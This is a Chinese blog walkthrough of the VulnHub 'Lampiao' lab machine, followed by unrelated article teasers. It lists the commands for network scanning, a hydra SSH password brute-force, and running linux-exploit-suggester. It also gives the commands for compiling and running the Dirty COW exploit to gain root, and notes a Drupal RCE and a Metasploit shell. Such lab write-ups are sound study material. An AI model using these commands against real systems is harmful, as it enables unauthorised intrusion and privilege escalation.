您现在的位置是:首页 > 正文

No.2-VulnHub-Lampiao渗透学习

2024-02-01 01:18:43阅读 3

VulnHub-Lampiao渗透学习

一、前言

靶机地址:https://www.vulnhub.com/entry/lampiao-1,249/
难度:简单
目标:获取root权限,并获取到flag

二、信息收集

1.获取攻击目标

使用nmap或者netdiscover扫描网段信息,获取攻击目标

# nmap扫描网段
nmap -sP 192.168.88.0/24
# netdiscover扫描网段
netdiscover -r 192.168.88.0/24

目标探测

扫描到攻击目标:192.168.88.135

2.对目标进行端口扫描

使用nmap对目标端口进行扫描

# nmap扫描端口
nmap -p- -sS -sV -T5 -A 192.168.88.135

对目标进行全端口扫描

发现目标22、80开启,同时还存在一个1898端口,存在Apache服务,同时还扫描到一个robots文件。

首先对目标80端口进行访问,发现就是一个普通的页面,没有多大信息

访问80端口

访问1898端口,发现一个Read more,点击发现URL地址发生改变,枚举其他页面

对1898端口进行信息收集

对1898端口进行信息收集1

在页面二存在两个文件:audio.m4a、qrc.png

对1898端口进行信息收集2

访问下载audio.m4a、qrc.png,一个是一个音频文件,一个是二维码

audio文件

qrc文件

audio文件打开提示:user tiago

qrc文件是个二维码扫描后得到:Try harder! muahuahua

解码qrc文件

继续访问页面三,发现一个mp3文件,下载打开是一首歌曲,没有什么有用信息

对1898端口进行信息收集3

在进行端口扫描的时候发现robots文件,进行访问,发现其他文件

robots

我们对每个文件访问,进行信息收集,在CHANGELOG.txt文件发现Drupal 7.54, 2017-02-01

changelog

3.对tiago用户进行爆破

使用cewl爬取网站关键信息,创建密码字典

# 使用cewl创建密码字典
cewl http://192.168.88.135:1898/ -w odfense.txt

使用cewl创建密码字典

使用hydra对用户tiago进行爆破,成功获取到密码

# 使用hydra对用户tiago进行爆破
hydra -l tiago -P odfense.txt 192.168.88.135 ssh

爆破tiago密码

三、提权

使用爆破的账号密码进行登录,发现是低权限用户

低权限用户

使用linux提权审计脚本:linux exploit suggester

linux提权审计脚本

使用proxychains工具下载脚本

配置/etc/proxychains4.conf代理文件

# 修改proxychains配置文件
vim /etc/proxychains4.conf

修改proxychains配置文件

下载提权脚本

# 使用proxychains下载脚本
proxychains wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

下载提权脚本

python3开启http服务上传脚本到目标

# python3开启http服务
python3 -m http.server 8889
wget http://192.168.88.129:8889/les.sh

python3开启http服务

上传脚本

给脚本添加权限,执行脚本

# 脚本添加权限
chmod +x les.sh
./les.sh

执行脚本

使用dirtycow提权

dirtycow

kali上找到40847.cpp文件,上传编译执行cpp文件

# 上传cpp文件
wget http://192.168.88.129:8889/40847.cpp
# 编译cpp文件
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
# 执行提权可执行程序
./dcow

上传编译cpp文件

执行程序获取到root账户密码

获取root权限

登录root账户

获取root权限1

获取到flag

获取到flag

四、其他思路

1.使用xray联动burp扫描漏洞
1.打开burp和xray

burp设置上级代理

设置代理

设置代理

启动xray

2.扫描漏洞

随便点击页面

扫描到一个RCE,点开查看

扫描到一个rce

burp发包查看

burp利用

3.查看相关信息

查看相关信息

信息

4.kali下载相关exp尝试利用

利用exp

成功getshell,接下来就是提权了

getshell

2.使用msf getshell
1.打开msf搜索相关漏洞

msf搜索相关漏洞

2.使用漏洞配置相关信息

配置相关信息

设置IP和端口

3.执行,成功获取到shell

获取shell

五、参考

VulnHub-Lampiao-Walkthrough渗透学习

linux-exploit-suggester

Drupalgeddon2

网站文章

  • python获取当前项目所在文件路径(name ‘__file__‘ is not defined)

    s.path.abspath(os.path.dirname(os.path.realpath(‘file’)))注意__file__要加引号。否则会报错name ‘file’ is not defined

    2024-02-01 01:18:36
  • 实验二:熟悉常用的HDFS操作

    实验二:熟悉常用的HDFS操作

    1、理解HDFS在Hadoop体系结构中的角色2、熟悉使用HDFS操作常用的Shell命令3、熟悉HDFS操作常用的Java API1、操作系统:Windows2、Hadoop版本:3.1.33、JD...

    2024-02-01 01:18:07
  • 【高并发】多线程环境下如何保证共享变量的安全性?冰河建议你使用ThreadLocal,一文带你彻底搞懂ThreadLocal

    【高并发】多线程环境下如何保证共享变量的安全性?冰河建议你使用ThreadLocal,一文带你彻底搞懂ThreadLocal

    ThreadLocal是JDK提供的,支持线程本地变量。也就是说,如果我们创建了一个ThreadLocal变量,则访问这个变量的每个线程都会有这个变量的一个本地副本。如果多个线程同时对这个变量进行读写操作时,实际上操作的是线程自己本地内存中的变量,从而避免了线程安全的问题。

    2024-02-01 01:18:01
  • 2021-10-13-草稿纸

    2021-10-13-草稿纸

    https://www.cnblogs.com/nc923/p/11288072.htmllayui-官方demo: <!DOCTYPE html><html lang="en"><head> <...

    2024-02-01 01:17:53
  • “接口”的定义及其与“抽象类”的区别

    我们知道一个有抽象方法的类是抽象类,而当一个类中全是抽象方法时,就可以定义为接口(interface) 接口命名通常以“I”开头; 接口中的方法默认有public abstract(所以可以省略); 接口中的变量默认有public static final(静态常量),因此可以通过接口名直接调用,例如: public interface IMammal{ public abstract vo...

    2024-02-01 01:17:26
  • websocket 的创建与关闭

    websocket 的创建与关闭。

    2024-02-01 01:17:18
  • C#读Visio模型数据

    C#读Visio模型数据

    第一步:安装Visio安装相应版本的Visio(以64位为例),在安装过程中经常遇到下面的问题解决方法:按“win+R”快捷键,打开“运行”,输入“regedit”,打开注册表,找到【HKEY_CLASSES_ROOT】àInstalleràProducts备份注册表,然后将上面Office 16 Click-to-run Extensiblity Component删除,然后...

    2024-02-01 01:17:11
  • [学习记录] Redis 5. 事务和锁机制,秒杀案例 Demo

    [学习记录] Redis 5. 事务和锁机制,秒杀案例 Demo

    [学习记录] Redis 5. 事务和锁机制,秒杀案例 Demo

    2024-02-01 01:17:07
  • P5735 【深基7.例1】距离函数

    P5735 【深基7.例1】距离函数给出平面坐标上不在一条直线上三个点坐标 (x1,y1),(x2,y2),(x3,y3)(x_1,y_1),(x_2,y_2),(x_3,y_3)(x1,y1),(x...

    2024-02-01 01:16:37
  • C# - JSON详解

    C# - JSON详解

    最近在做微信开发时用到了一些json的问题,就是把微信返回回来的一些json数据做一些处理,但是之前json掌握的不好,浪费了好多时间在查找一些json有关的转换问题,我所知道的方法只有把json序列化和反序列化一下,但是太麻烦了我觉得,所以就在找一些更简单又方便使用的方法。也许这个会有用吧,所以先放到这以后能用到的。原文出处:http://www.cnblogs.com/mcgra...

    2024-02-01 01:16:29